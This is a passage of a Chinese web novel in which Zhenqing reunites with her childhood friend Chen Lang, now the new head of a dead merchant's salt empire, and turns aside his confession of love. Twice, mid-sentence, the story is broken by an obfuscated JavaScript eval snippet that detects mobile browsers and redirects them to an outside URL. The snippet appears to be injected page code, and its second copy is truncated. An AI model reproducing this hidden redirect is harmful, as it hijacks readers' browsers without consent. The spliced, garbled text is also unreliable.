枕清说:“那也没有,但起码不是这样!我觉得他好奇怪,不对劲,我感觉他就是故意在我面前死去,随后能换一个壳子金蝉脱壳。” 江诉低垂脑袋,抬手陇了陇枕清的披风,慢慢道:“如果你不放心,那就去都护府看一眼尸体,有符生枝在,不会出现差错的。” 依照符生枝的性子,怕是能把梅海捅成筛子。 而且众目睽睽之下,还有尸体都在手中,无论怎么样,都不可能逃之夭夭,除非真的是有什么怪力乱神说。 枕清被江诉抱了起来,枕清当即慌乱,勾住江诉的脖颈,面色苍白地看着他道:“你要干什么?” 江诉说:“回屋内,外边冷。” - 漫长的冬天即将过去,枕清坐在船头上,看着外边的红梅覆上白雪,依旧争相开放。 枕清扶着自己的腰,看向江诉为自己披上披风,她微微勾起唇瓣,缓缓道:“今年的冬天过得有些漫长,江诉,上一世我死的时候,好像也下了一场这么大的雪。” 上一世好像以及变得极其遥远,江诉抱住枕清,珍重地搂在怀里,掩饰眼神中挣扎,他轻声道:“今年是我们的第二年,希望还有许多年。” “会的。”她说。 划桨的船家悠悠笑道:“冬日溪上小小舟,无花有酒好红松;若无世间荒唐事,但入山林觅无踪。” 82. 同道河东逢伊面(一) 百花吐艳,万物复苏。 梅海身死的消息传遍了大启,以为是乐善好施、宅心仁厚的商人,没想到会做出这般十恶不赦的事情,不少人对此鄙夷,引起巨大的反应后,又逐渐销声匿迹。 梅海底下有不少讨生活的人,梅海一死,梅家群龙无首,本以为会自乱阵脚,井井有条的规划都会被打乱瓜分,没想到梅海底下的二当家不徐不缓地出来维持局面。 这位二当家是个极其年轻的男子,有人说是梅海的徒弟,也有人怀疑是梅海的孩子,不过仍由旁人猜测,这位二当家依旧是神龙见首不见尾,出来维持局面后,又甩了甩轻飘飘的衣袖,走了。 河东盐池、茶楼酒肆等,都已被安排妥当,有条不紊的进行着,但是教坊与花阁,这位二当家并没有去打理触碰,也叫仇羌解决得非常快,那些人甚至没有一点反抗的机会。 最后走的走、散的散。 但在散伙之前,仇羌给每个人都分了不少银子,这些并不是仇羌自己出的钱,而是薄映禾与枕清在梅海那里拿到的贺礼,也就是所谓的陪嫁。 据枕清的话说,算是物归原主了。 仇羌看着受困这么久的地方,突然有一天把这个地方拆掉,觉得心中十分痛快,如果姐姐在天有灵,估计也能安息了。 他第一次露出畅快淋漓地笑意,毫无负担地走在路上。梅海说错了,即使给他解药,他也只是身体自由了,可心依旧被困在一方狭小的天地。 他抬首回望着一片废墟的教坊与花阁。 现在,他真的是完完全全地自由了。 - 长亭外,芭蕉尤绿,清气盎然,满目都是碧绿色。 应钰这边遇到了一点麻烦。 河东盐池的商户有三百多家,占大头的盐商也不超过十家,如果想要在此地分一杯羹,肯定是要与当地的官差打好关系,这样不可避免要花上不少钱,其中还不能确保这些人会不会带着她。 盛松言安静地坐在一旁,知道应钰心中憋屈泄气,他也跟着焦躁不安,可是对于商场的事情并不如应钰精通,便也怏怏不快,肚子琢磨半天的话正要开口说一番,没想到应钰直接站了起来,抬手指向东面,靠近盐池的小镇。 从了解到看生产盐的制作方法。 就这么一待,应钰也停留了大半个月,虽说所获不多,但也不至于败兴而归,原打算离开此地,没想到在她要离开的两天前,看见了一抹熟悉的身影。 不对,不是她熟悉的人,是枕清熟悉的人。 ——陈琅。 这时候的陈琅应该是待在长安,怎么会突然来河东盐池?难不成他经营的地方也扩展到了此地,可看样子也不尽然。他身后簇拥着一大群的人,低头哈腰,将姿态放得极其低,好像所有人都为他马首是瞻。 “这么威风。” 一道女声在应钰身后传来,应钰不禁皱了皱眉,觉得有些熟悉后,转头看向来人,忽地舒展眉眼,欣喜中含着意外道:“你怎么来了?” 枕清视线留意在陈琅身上,见人似乎要朝自己这边看过来,枕清不知道为什么会觉得有点心虚,于是转了个身子,挡住自己的面容,只留给对方一道背影,随后侧身跟应钰说:“就是想来看看河东究竟如何了。” 应钰瞧见枕清这副模样,无奈地耸耸肩,不知道枕清这般躲避是何意思,她小心回看,却见陈琅直勾勾地盯着枕清微微侧着的身形,好似怀疑,又像是肯定。 直到应钰与陈琅坦然地四目相对,陈琅才敢完完全全地确定,应钰轻轻提醒道:“他在看你。” “我知道。他在看我。”枕清索性不躲了,缓缓正过身子,整个面容都显露在阳光之下,映照白净的小脸清透自然,整个人都在放着光,长长的街道都似随之暗淡。 陈琅明明已有猜测,可完完全全见到那张熟悉的面容,心中还是空了一瞬,脑子随之空白,方才应对的思考都停止了思索,只剩下狂跳的心脏。 顷刻间,他猛地回过神来,随后勾起很淡的笑意,彼此仅仅只是目光遥遥对视。 枕清就是当作自己是寻常过客,来这里也只是凑巧而已。 她猜测陈琅会走,没料到陈琅居然朝她这边迈步而来,陈琅身后拍马屁的人看到换了路线的陈琅,默默互相对视,他们到现在都没有摸清楚这位青年的脾性,之后继续跟在身后拍马屁。 直到他们看到眼前这位主子看的人是那两位漂亮的女郎,当即觉得自己被呛了一下,互相给彼此一个眼神—— 这位,倘若是要钱还是有的,可是这要是强抢民女,实在是不妥当! 枕清瞧着陈琅好似比之前憔悴了不少,不知道是不是因为连日奔波的缘故,她只是轻巧地挥了挥手,笑道:“好久不见,陈琅。” 又是这句话。 陈琅可真是不喜欢听到这句话,每一次听到这句话,又要隔上好多时间才能再见到枕清。 “你还活着?” 陈琅迫切走近,又停住,两人距离只在咫尺,他小声质问道:“为什么不告诉我。” 声音像是抱怨又像是委屈,听着人耳朵发嗡,后面的人面色更是变了又变。 不是,这小子跟他们可不是这样。 任由旁人的神色如何变换,陈琅都不在意,眸中只有枕清一人。 自从金蝉脱壳后,枕清最害怕听到这句话,她也只能故作轻松道:“因为那时候我真的觉得自己快要死了,陈琅,我没有和任何人说,而且,我不想要那样的身份了。” 陈琅对枕家了解一些,又问:“那你现在来这里是为了什么?” 枕清坦荡荡道:“来这里,当然是为了盐了。” 枕清觉得陈琅是在讲废话,谁会好端端跑来这里玩? 不过看陈琅这样子,这边他亦有涉及,枕清知道陈琅做生意大,却没想到哪里都沾了些许,就是不知道在河东盐池这一块,究竟有多大的话语权。 陈琅笑问:“又想来分一杯羹?” 枕清点头,摊了摊手道:“不过看样子,轮不到我了。” 陈琅若有所思道:“我分你。” 应钰:? 陈琅身后的人:??? 什么? 这都叫什么事啊。 那些人还没有出声阻止,没想到枕清先点了脑袋道:“好啊,盈利的话,你要占多大比?” 陈琅爽快道:“看你。” 这句话的浮动性很大,枕清又不是呆子,自然想要为自己争取的更多,但是也知道这是陈琅为了他们的情谊而让着自己。 虽说枕清是见钱眼开的那类人,不过她是真的不想在陈琅身上贪到大便宜。 毕竟很多时候,免费的东西最贵了。 枕清佯装笑笑:“看我?我可是奸商。” 陈琅豪爽道:“没事,本来就是无奸不商。” 陈琅十分大方,不知道为什么,枕清总觉得陈琅有些怪,她弯了弯唇瓣,迟迟没有再开口,只是看着他身后那些面色惨白的小老弟们,笑笑道:“看你们还有事情要忙,我和惊玉就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678752|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打扰你们了。” “沿溪,你在这里等我。”陈琅着急出声,他也有事情要与之协商,但不想错过枕清,怕下次再也见不到了,他认真又道,“等我。” 闲来无事的枕清知道陈琅有话要说,就是不知道具体要说什么,索性点头,算是答应了。 看到枕清漫不经心地点头,陈琅放下心来,凌厉地瞧了一眼身后的人,见他们原本一脸吃瓜的态度,立马变得非常和气慈祥,甚至还有不打扰他们的意思,就差没有动手把应钰拉走的地步。 真是不知道这群老东西在想什么,陈琅非常克制冷淡地对枕清颔首,转身就带着这一群人离开了这里,他现在还要去处理另外一拨人,把蠢蠢欲动的那群人都洗刷下来。 应钰在旁边一直没有出声,心里想着雷州的那些人变化极大,好多都已经没有办法认出来,谁又能想到当初和枕清一同乞讨的小子居然这般厉害,还能在河东盐池这边来去自如,好像一切都在他的掌握之中。 陈琅之所以在这里,绝非偶然。 枕清看着陈琅身后的那一群人,她拦住了旁边的茶博士,指了指那一群渐行渐远的人,出声问道:“那群人,可有门派?在当地是否有声望?”[1] 茶博士盯着那群人的背影,只瞧上一眼就知道是谁了,反倒开始打量起了枕清,笑笑说:“想必小娘子是外地人吧,那群人是梅海底下的人,梅海知道吧?是大启的第一富商,现如今梅海死了,就由那个二当家来接手了,你瞧着那为首的人,就是二当家,长得那叫一个玉树临风,好看极了!” 正巧说完,另一道美娇娘的声音凑了上来,腼腆笑问:“敢问茶博士,那位二当家可有娶妻生子?” 茶博士挥了挥手,打趣道:“这个我倒是不知道,不过这位二当家行踪诡谲,见上一面跟见圣人似的。倘若想与他来一场邂逅,怕是不容易,而且他的手段比梅海更雷厉风行些,好多人都背地里叫他‘鬼见愁’,所以在河东盐池这块,目前没人敢忤逆他,一时风头无两。” 说罢,那位美娇娘突然变得有些低落,她方才也只是瞄上一眼,就便已经移不开眼了,她看到那位二当家和枕清恰似很熟稔,而且枕清长相美艳,在人群中一定是第一眼就能看到存在,于是暗自泄气。 那茶博士见女娇娘不开心,便思忖地夸大其词道:“小娘子也不必泄气,那位二当家倒也不算个良人,他做事太过强硬,小女娘没遇到也是好的。” 枕清若有所思看着陈琅越走越远的身影。居然是梅海底下的二当家,枕清可是一点都不知情。 在上一世之所以没发现陈琅这层身份,是不是因为梅海没有死,所以这一次,一切都发生了改变,所有身份都浮出水面。 梅海么,陈琅啊。 枕清忽然觉得自己有很多事情都遗漏了,上一世所见的都是表面。见陈琅这般模样,梅海倒是没有和陈琅说自己还活着。 只不过为什么梅海会让陈琅当自己手底下的二当家,如果在雷州的时候梅海就安排了暗卫安插在自己身边,那么梅海一定见过陈琅,并且知道她与陈琅的关系。 难道梅海是怕她对梅家动手,于是把陈琅安排了进来,只为了等到这一天? 枕清扯了扯嘴角,觉得梅海这一步棋下得太久,也太绝了。 更多的可能是梅海知道她与陈琅的身份,于是将人收为己用,一直用到现在这个地步。 在从前,这位二当家之所以没存在感,是因为那时候的梅海还活着,不需要陈琅出面来做些什么。 83. 同道河东逢伊面(二) 河东四面绕山,从这里望向远处,一片绿色盎然的生机。 枕清坐在茶馆内的一隅,少顷后,一位小厮走到她跟前,恭敬道:“小娘子,主上有请。” 待陈琅走后,应钰在这个地方没待多久,就跟着盛松言离开了,打算去别处采采风。枕清便一直留坐在馆内,她站起身,裙摆跟随着她的动作轻轻一晃,她朝那位小厮微微一笑问:“你家主上是何时来河东的?” “十日前。”小厮答道。 枕清听到回答,又问:“他曾是梅海底下的人,那么他是什么时候进来的?一直接手哪一块地方?” 小厮是见过大场面,饶是被这一番盘问般的询问,他不慌不忙地如实道:“我不知道,小的进来五年了,主上大概更早,接手的都是长安那边的事情,对于河东盐池、教坊,以及花阁是从未碰过,小娘子莫要误会。” 枕清微微勾唇:“他提醒过你,说我问你任何事,你都如实作答,对么?” 小厮答:“小娘子果真是料事如神,主上的确这么说过。” 枕清稍稍颔首,她在那些沸沸扬扬的谣言里,曾经还真怀疑过这所谓的二当家是梅海的孩子。 她跟随小厮走到一处紧闭的房门前,她抬手推开门扉,看到陈琅正在点燃香火,漫不经心地注意他的神态,关注他的一举一动,随后道:“你换了一身衣服?” 陈琅回首,笑道:“是,那身衣服脏了,不方便见你。” “可是我还是闻到了。”枕清走近,轻轻在他衣襟闻了一下。 陈琅的身形随着枕清俯身的动作变得僵硬,甚至还有一点不为人知的心慌,他眼睫在枕清看不到的地方猛烈震颤,呼吸变得极轻,嘴巴绷成一条直线,是在极力克制自己的情绪与心悸。 他缓缓垂眸,对上枕清抬眸迫视而来的目光,顿时止住了呼吸,好像是入目不堪的事情被她所发现,而他在等着枕清宣判他的罪恶。 枕清缓缓支起脊背,声音暗藏浓烈地探究:“闻到了你身上的血腥味。” 陈琅方才确实动手杀人,他睫毛忽地垂下,仿若是断翅的鸟雀,在她望过来的目光逐渐变得坚定,甚至有股豁出去的意味,可是他又不想以这种姿态来面对枕清。 “我杀了人。”陈琅声音带着不自然的后怕,“你怕我吗?” 枕清好像听到了什么好笑的事情,她摇摇头道:“我知道的,接手梅海这么庞大的产业,总是要立威的,二当家。” 陈琅突然也跟着笑了,好像又回到最初的样子,他松弛下来,诉苦道:“你可不知道,最近真是把我累死,整日面对一群马屁精和一群不服管教的楞头,一面虚与委蛇,一面盛气凌人。” 枕清淡淡听着陈琅的话,一直从长安开始说自己一路这么治理梅海底下的产业,直到河东盐池,废了不少功夫,腿都要走折了,口都讲干巴了。 好像是相处许多年的老朋友,某一天重逢,听着这些日子的不容易。 良久后,枕清问:“梅海呢?你不想知道是谁杀了他?” 陈琅坐在床榻上,脚倏地一翘,懒散地开口道:“不是符生枝么?这又不是什么秘密,他杀了符生枝的父母,符生枝报了仇,很正常。” 这话讲得非常没有感情。 这样的人,梅海会让他当二当家么? 而且,梅海的死对于陈琅来说,没有任何一点波澜,仿佛是最寻常不过的陌生人。 陈琅似乎瞄到了枕清唇角小幅度地抿紧,察觉到以他这样的身份说出这样的话确实不合理,陈琅解释道:“我和这位梅海着实不太熟悉,我一直待在长安,而这梅海一直在管控长安以外的产业,所以......唉!” 陈琅仰天长叹,非常憋屈且无奈地道:“我之所以能当上这二当家也只是因为梅海看我行商有天分,给我一个二当家的头衔往长安一扔,我还以为我这辈子都能安安稳稳地待在长安,谁知道他居然死了!” 说到此处,陈琅是异常憋愤,颇有指指点点的意思。 他嘴角露出一个讥讽的弧度,整个人疲软地躺在榻上,虽说非常的没有任何气质可言,但是他和枕清特别熟,自然没有任何顾忌,只是歪了歪脑袋,跟骂蠢猪一般。 “做了那样的事情还敢往陇右走,陇右是符生枝的地盘,他这不是纯纯找死么!搞得我这般的难做人,他手底下有那么多人,还有妻儿老小,总得吃饭吧,所以我就被迫上来了,赶鸭子上架,死马当活马医呢。” 枕清点了点头,指了指他,又收回动作,挑眉道:“所以你是傀儡喽?” “这倒也不是,是我在管,但是我又不清楚这底下的账目到底是怎么样的,即使他们拿一本假的上来,我都发觉不了。”陈琅颇为无奈,“所以我说要分你,并非是开玩笑。” 之前答应得那么爽快,旁人或许会觉得陈琅蠢笨,把利益拱手相让,可只有这时的枕清才明白,这是陈琅开得太开了,只不过如果真的这般做,他底下的那些大抵是不会同意的。 肉么,谁都不会嫌多。 陈琅笑着又道:“你也别怕,经过我这么几天的折腾,他们也不敢太放肆,起码不敢在我眼皮子底下太放肆。” 枕清揶揄道:“好大的威风啊。” 陈琅又是嘚瑟一笑,嘴巴咕咕哝哝说了一些其他的话,最后恰似说累了,安静地睡着了。 他是真的累了。 连日来的奔波,见到枕清的时候,如同回到了自己的家中,终于可以放下任何警惕,安稳入睡。 枕清待他的呼吸逐渐平稳,才站起身,极轻地关上了房门。 小厮迟迟没有离开,一直站在门外,见枕清走了出来,目光生疏又胆怯地望着她,好像是见到什么不得了的事情。 没有被这样的目光注视过,枕清略显迟钝。 她好像明白为何他会露出这样的神色,大抵是陈琅在她与旁人面前大相径庭。 小厮没有忘记今天的陈琅,活像是只看得见血的阎王,提着刀就往旁人的脖子上挥舞。起初以为陈琅是个什么都不懂的清贵公子哥,没想是个杀人不眨眼的疯子。 来河东的第一日,就把手底下的人都召集了过来,那些人拿出十足十的恭维语气道:“二当家大驾光临,我等有失远迎,真是罪该万死。” 陈琅坐在主位上,漫不经心地吹了吹浮着的茶叶:“是挺该死的。” 众人神色一变,纷纷猜出这位是脾气怪异的公子哥,原以为一番巡查后就会离开此地,没想到他显露出自己的铁血手段。 他叫人呈上这几年河东盐池盈利的账本,那些人早就已经做好了后手,拿了一个虚假的账目递给陈琅,陈琅只是随后翻开几页,随后重重地把账本摔在为首那人的脸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原以为这件事只是发生在第一天,可没想到陈琅脾气一日比一日盛,听到手底下有人不按时付工钱,每每从中与陈琅作对,而且提起了早已被人搅毁的花阁与教坊,甚至大言不惭地说要重新修建,不料这一句触及了陈琅的逆鳞。 “重新修建?把你送进去吗?”陈琅重复了一遍,那人见状不对,气氛诡谲得厉害,随即后怕地摇头,可陈琅早就没了好脾气,并没有让那人有机会开口说话,而是提起剑把那人抹了脖子,干脆又利落。 眼见一个又一个的人倒了下去,所有人又惊又怕,却也不敢如鸟兽作散。 陈琅恰似要杀红了眼,身上都染了鲜艳滚烫的血,还要继续动作时,手下急眼了,低声提醒还要见枕清后,陈琅才回过神来,堪堪停住了动作,可满身的血腥味怎么也散不下去。 当即沐浴焚香。 而陈琅的这份立威,真的是立到旁人的心底里去,以后谁还敢再陈琅面前放肆? 但又不知道谁说了一句:“真是不要命了,这位二当家就是从教坊中出来的,怎么可能还会让这些事情再发生。” 只有经历过痛,才知道那般滋味。 那位小厮头匆匆回想这几日,觉得自己像是在鬼门关里走了一遭又一遭。他把头垂得低低的,眼睛却怯怯地看向枕清,枕清伸出食指抵在自己的唇瓣,又指了指里边的陈琅。 小厮不言自明地点了点头,目送枕清走远。 待外边没有了任何声音,陈琅旋即睁开眼,墨黑色的眸子哪里还有什么困意,他缓缓坐起身,唤了外边的小厮进来,小厮连忙应声推门而入。 陈琅略有头疼地扶额,语气不耐:“方才来的路上,她向你问了什么?” 小厮垂首,如实回答。 陈琅听完,挥退了人,随后想到了什么,又将人叫住,疲惫道:“以后再问你什么,你就说你不知道,让她来问我。” 小厮:“是。” 84. 同道河东逢伊面(三) 经过这段时间,陈琅已经把河东盐池的这边的人都治得服服帖帖,没有人再敢在背后做一些小动作,生怕一个不小心就一命呜呼。 而且陈琅此人极其叛逆,没有任何一点的预兆,也不知道哪里来的关系,居然和河东节度使李檄关系非同一般。 枕清能察觉到陈琅这几日过得比之前舒坦平静,还会带着她去各个地方玩,竟也过上了游山玩水的平静日子。 姚渠从城北蜿蜒穿过,渠边根深叶茂、郁郁葱葱。池东是鸭子池,池西有女盐池,而禁垣内的百里盐滩上,有一处黑河,位居盐池之中,产量盛大。 他们一群人从最高处的楼往下望,可以察看采盐的情景,随从人中“肩者、持者、拽者、导者”前呼后拥,场面十分气派。 北面禁墙内还刻有关王庙、池神庙、海光楼、歌熏楼、巡池公署、野狐泉等建筑群体,另在池神庙东西两侧,有盐丁的居留之处庵厦和巡盐罗卒的驻守休息之地铺舍,而池神庙由此而建造。 其生产工艺主要以集卤蒸发为主,分为:“过箩、调配、储卤、结晶、铲出”五个步骤。这种方式的优点有,一是垦地为畦,人工晒盐;二是晒制中,在卤水中搭配淡水,提高了盐的质量;三是加快了成盐速度,只要五六天就可以晒制成一次盐。[1] 恳畦浇盐法的出现,是河东盐池生产技术的重大进步,使河东盐池生产水平有了很大提高。 大启又改革盐法,推行了鼓励盐业生产的政策,运城盐池盐产量得以大幅度增长,行销供大启动二十余州。 枕清静静地听着陈琅说这些步骤和工序,非常怀疑地看了一眼陈琅,原本说他自己都不是很了解,可对于工序和形态倒是分析得透彻。 她只是弯了弯唇瓣,没有揭穿陈琅的行径,可心思不免就想得有些多了。而她大抵也不会说自己与梅海碰过面,甚至是他死前最后见到的一个人。 既然没有关系,那就好了,一切都可以随着风过去。 枕清原本没有想要来河东的,不过因为梅海一死,河东盐池必然会出现一个缺口,也不能确保梅海底下的盐池究竟能不能被分配好,如果不能的话,她倒是想要捡个漏,可没想到这件事并没有成,不过也不算是没有白来。 起码看到陈琅,还真给她分到了一杯羹汤。 枕清带着应钰和盛松言一同走着,几人默默听着陈琅分析其中厉害关系,应钰稍微点了点头,她说自己手底下有人,可以接手这一片地方,每年都把盈利的部分挪出一点给陈琅。 陈琅没有推脱,直白地说好。 这件事落下得挺快,枕清又听到陈琅说起了旁的事情,比如什么教坊和花阁,枕清佯装自己不是很清楚的样子,含糊道:“这不是都遣散走了么?” 陈琅点点头,撇清关系道:“这两个地方,不归我管,我什么都不清楚,你别误会我。” “我知道。”枕清微微一笑,看来陈琅是真的摸清楚她心中的底线,知道什么可以触碰,什么绝不原谅。 又重新见到枕清,陈琅心中不免有些高兴,他翘了翘嘴角,看着故意落在身后的应钰和盛松言,小声道:“这一年里,你究竟去了什么地方?” 像是随口一问,又好像想要知道后的探究,枕清随意说了几个地方,反过来问陈琅道:“接下来你要去哪里?” “我跟着你呗。”陈琅笑说,眼睛却直勾勾地盯着枕清,仿佛只要枕清说一句好,他就能奋不顾身。 枕清读出陈琅眼中的意思,她心中忽然想到一个荒诞的想法,最后慢慢地走到一处高台,眺望远方道:“我是应该叫你陈无极,还是叫你寂莲?” 寂莲这词陈琅再熟悉不过了,这是他的法号,可是这两个字在枕清的舌尖发出,好像别有深意。 就像是一件件见不得人的事情再次被揭发,不堪入目的心思无处遁寻,心中满是杂念。 他本来就不是真正的出家人,他杀生、喝酒、吃肉,甚至还动了情。 枕清的话荡在口中,她从喉咙中发出一声轻轻的笑意,略有怅然道:“我不习惯叫你的法号,还是唤你陈无极吧。我有时候觉得我们两个人真的太像了,而你是我很好的朋友,也更像是我兄长。” 山涧的清风吹拂在两人中间,宽大的衣袖,腰间的丝带,香囊的麦穗,脚底的裙摆,都随着风猎猎翻飞。可陈琅的心绪就如同这潺潺流动溪水,波澜不停,他看着枕清这般清冽决堤的模样,好像已经猜出来她要说什么了。 她说得对,他们两实在是太相像了,一个眼神,一句话语,就能读懂彼此的意思。 这一番话,无疑是为了画出一条泾渭分明的线,况且他还有出家人的身份压着,不能破戒,不能动尘心。 可是这个戒,他早就破了,而且破了许多年。 枕清望见陈琅眼中翻滚浓重的情绪,看不出挣扎,仿佛是下定决心般的坚定,也仿佛从一开始就已经做好了选择,枕清不禁被他的神情惊讶了一瞬,随后移开眼睛,装作自己什么都不清楚的样子。 仿若一个看不见的聋子,听不清的瞎子。 许久后,枕清唇瓣微动,她笑着说:“陈无极,我成亲了。虽然我没有邀请你,但是你作为我的好友,甚至还能称得上是兄长的人,要不要补我一些份子钱?” 成亲? 陈琅听到第一句话,好像是被木棒敲了一棍,大脑一片空白,甚至全身都是被雷电击碎,把他震得没有任何知觉,可他还是强迫自己,勉强地提起笑容,即使浑身僵硬。 “你知道我的,我这人想要得到的东西,就算是鱼死网破,两败俱伤也要拿到手。”枕清笑着又说。 这是在完完全全断绝陈琅的任何想法。 半晌后,陈琅问:“那人是江来听么?” 除了他,陈琅猜测不到旁人。 枕清弯起唇瓣,稍稍点头道:“是啊,他是我第一眼见到就喜欢的人。陈无极,如果你出家还俗了,可以看看别的小娘子,你这长相和身份,一定会有很多小娘子蜂拥而至的。” “很多小娘子么?”陈琅撩起眼皮望向枕清,“可是这里面不包括你啊。” 这是陈琅在枕清面前说得最直白,也是最放肆的一句话,不仅挑明了他自己的企图,也让枕清明白他的心思。 枕清不知道如何宽慰他,可是感情本就是很霸道不讲道理的事情,有些人即使相处几百遍也没有任何感觉,而有的人,只是看上那么一眼,就有许定终身的意图。 “我们太相像了,陈无极,你或许不是喜欢我。你对我好,你觉得你喜欢我,有没有可能是因为你在我身上看到你自己的影子,来弥补自己内心的缺失?”枕清扯了扯唇角道,“你应该知道,我不会喜欢和我一样的人,我讨厌虚伪、算计,因为我自己就是这样的人,我也更不想惶惶不可终日地活在这样的阴影里。” 枕清抬手轻轻张开,顺着风道:“当然你也不喜欢我这样的人,我有许多事情都瞒着你,比如我曾看到过梅海,再比如我在这一路上有意无意地试探你,而你也在隐瞒我,防备我,我们两始终无法坦诚。这正常,因为是性格使然。所以,陈无极,你当真会喜欢这样的我么?” 她疑心病重,甚至很难去相信一个人,而且需要对方一遍又一遍地肯定自己,站在自己这一边。 他们都是渴求对方给予自己的更多,不仅仅是金钱方面,还有各方各面。 很现实的东西被血淋淋拨开,陈琅突然觉得自己输得一败涂地,他突然有些懊悔,可又觉得自己无比畅怀,果然枕清还是那个枕清。 陈琅整个身子都倚在一侧的栏杆上,散漫道:“我说不过你,你永远是正确的。” 突然瞟见枕清眼睛瞧过来的样子,就知道枕清又想要反驳他了,当即做了一个打住的动作,缓缓道:“我知道我知道,你不用说了。我不喜欢你了还不行么,真是怕了你了。既然你都认我做阿兄了,那我尽职尽责地担起这个兄长的责任。” 小时候她护着自己,长大后有能力了,自然也想要护着枕清。 枕清不知道自己该做出什么表情,看着陈琅这般样子,突然有些哭笑不得,她伸出手看向不远处青翠碧绿的丛林,又开口道:“既然如此,那我要回陇右了,新婚没几月就分开,倒是真的有些舍不得呢。” 他方才正袒露的心意,没想到下一刻枕清就说自己想郎君,陈琅虽说面色难看,但也习惯枕清扎心了,倒是没多说什么,说了一些河东盐池的事情,已经把东西如何过到应钰手中再说了一遍。 应钰倒是和陈琅说 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不过他没想到这么大的事情,江诉居然没有和枕清商量,如果枕清回去了,那么江诉怕是难逃一劫。毕竟枕清这样的性格,下一步就能把人捅一个口子,再一脚把人踹开。 盛松言道:“你不知道么?当初银州饥荒,和兰州刺史有关。” 这件事,枕清当真是不知道,她所有的心思都停留在别人那里,从来没有发觉这件事。 她好像想到了别的,怪不得阿之奎居然会先来了陇右,那么江诉会不会与阿之奎联手向那个人报仇,倘若真的发生这种事情,那么江诉可是做了叛国的大罪。 但是江诉给她的感觉分明没有那么多的仇恨,也不曾被蒙蔽的样子,或许是一直在压抑,压抑着自己的任何情绪,只为走到今天这一步。 可是......可是之前她问过江诉是否真的为了她才来陇右的,江诉并没有正面作答,其实所有的一切都是在江诉的算计中,看似是被她一步步劫持推上那样的位置,其实都是他自己故意顺从的局面。 枕清忽然觉得传来一阵头晕目眩,难怪,难怪要把她支走,这是怕她打扰她的计划么? 脑中一阵头晕,她抬手扶住额头,天地仿若在旋转,万物都在脚底颠倒,最后在旁人惊诧的目光下,直挺挺地倒在地面上。 其实这一辈子,他们每个人,都没有放下心中的仇恨。 都有恨,也有爱。 应钰心中急躁,在屋中来回踱步,最后愤愤不平地看着盛松言,责怪道:“好端端的你和她说这个做什么?要是真出任何事情,别说我了,舅父也不会放过你!” “如果我们知道不说,她听到此时只怕是为时已晚,只怕是更为难受吧。这件事我知道,你知道,唯独最亲近江长史的她不知道,我并不觉得她不会做出更极端的事情。”盛松言虽然没想到枕清会晕倒的这般局面,不过他也不后悔,起码到时候,让他们两个人做起了恶人要好的多。 推己由人,这件事确实做得是正确的,毕竟枕清也不是只能同甘不能共苦的人。应钰抿了抿唇瓣,却也没说话,反倒是一旁的陈琅一直安静地待在枕清的床榻边上,活像是失魂落魄的模样。 如果心情好点,还能调侃一番,可是现在没有人能调动气氛。 陈琅早就知道枕清的身子骨大不如前了,却也没想到会如此虚弱,他目光直愣愣地盯着枕清,有些贪恋,又有些渴望。 他甚至自私地想着枕清迟一点醒过来,这样就能陪他更久一些。其实枕清说错了,他们两个人一点也不像,他阴暗又失控,暴躁又满身贪欲,就连跪在佛祖前默念清心咒也挡不住。可这般不堪的自己,可以把胸腔内的这一颗心全心全意地送到枕清手中,任她丢着玩,还是甩在地,即使最后失去性命也无所畏惧。 可他也不是那么无坚不摧,他也会害怕,害怕枕清知道如同阴沟老鼠的他,如蝇逐臭、如蚁附膻的他,于是他在枕清面前克制又克制。他清楚枕清不想失去作为朋友的他,他亦是不想失去这样的枕清,于是揣着满身的明白诉说着糊涂。 有时候真的希望,他和枕清都不要那么地聪明。 愚笨点好,都愚笨点好。 85. 同道河东逢伊面(四) 更深人静,枕清看着一旁睡过去的陈琅,微微用手肘撑着坐了起来,明明是很轻的动作,可陈琅还是被她惊醒了。 陈琅缓慢地抬起头,视线在她面上停留,方才刚有的一点困意被退得一干二净,他声音沙哑低沉,仔细听还能听出一丝低落,虽然已经极其克制。 “你要走了吗?” 枕清朝外望去,这夜深人静的,什么都看不清,这能怎么走。 她勾了一下唇角,指了指外边,说:“黑灯瞎火的,我怎么走?你还当真以为我像小时候一样,被你气一下就要出逃啊,陈无极,我可不像小时候一样。” 陈琅顺着枕清手指的方向,看到一大片星星点点的夜空,心思不自觉被唤起,仿若回到了小时候,一同躺在屋檐上数星星,在淅淅沥沥的水面上踩月亮。 甚至在夏日的麦田里奔跑,抓萤火虫,白日去摘荔枝和杨梅,明明是那么让人痛恨恶劣的地方,可有了枕清的存在,那么痛苦的地方也变得那么美好。 陈琅从喉咙发出一声闷笑道:“你竟然还好意思说呢,最后还不是我在你身后善后,我就像是你的跟屁虫,你往哪里跑,我就往哪里追,你还故意使诈让我摔到坑里,满身淤泥啊。” 这些事情太久远了,特别是对于经历两辈子的枕清,那么就更长了。可也真是奇怪,明明那么久远,她脑海中的记忆依旧是如此清晰,她也跟着笑道:“谁叫我气不过呢,没想到你这么笨,一带就偏了。” 陈琅游荡那么久,他对那条路无比熟悉,之所以会摔在泥坑里,是为了让枕清能回过头看看他,甚至还能让她心疼愧疚地搀扶着自己回去。 而这一段就成了只属于他们的路了。 如果早在长安的时候就走上门碰面,一起游山玩水,会不会又是不一样的状态。又或者他先下手为强再离开雷州,那么枕清会不会真的答应自己。 可是没有那么多如果。 陈琅笑笑,承认道:“是啊,我太笨了。” 笨到不知道怎么留下一个喜欢的人。 枕清要走下床榻,陈琅下意识伸出手要扶住枕清的手臂,可是在枕清微微一顿的身形后,他缓缓蜷缩伸出去的手指,随后慢慢地、慢慢地落在自己的腿边。 好像是克己复礼的愚者。 明知不可为,就不为了。 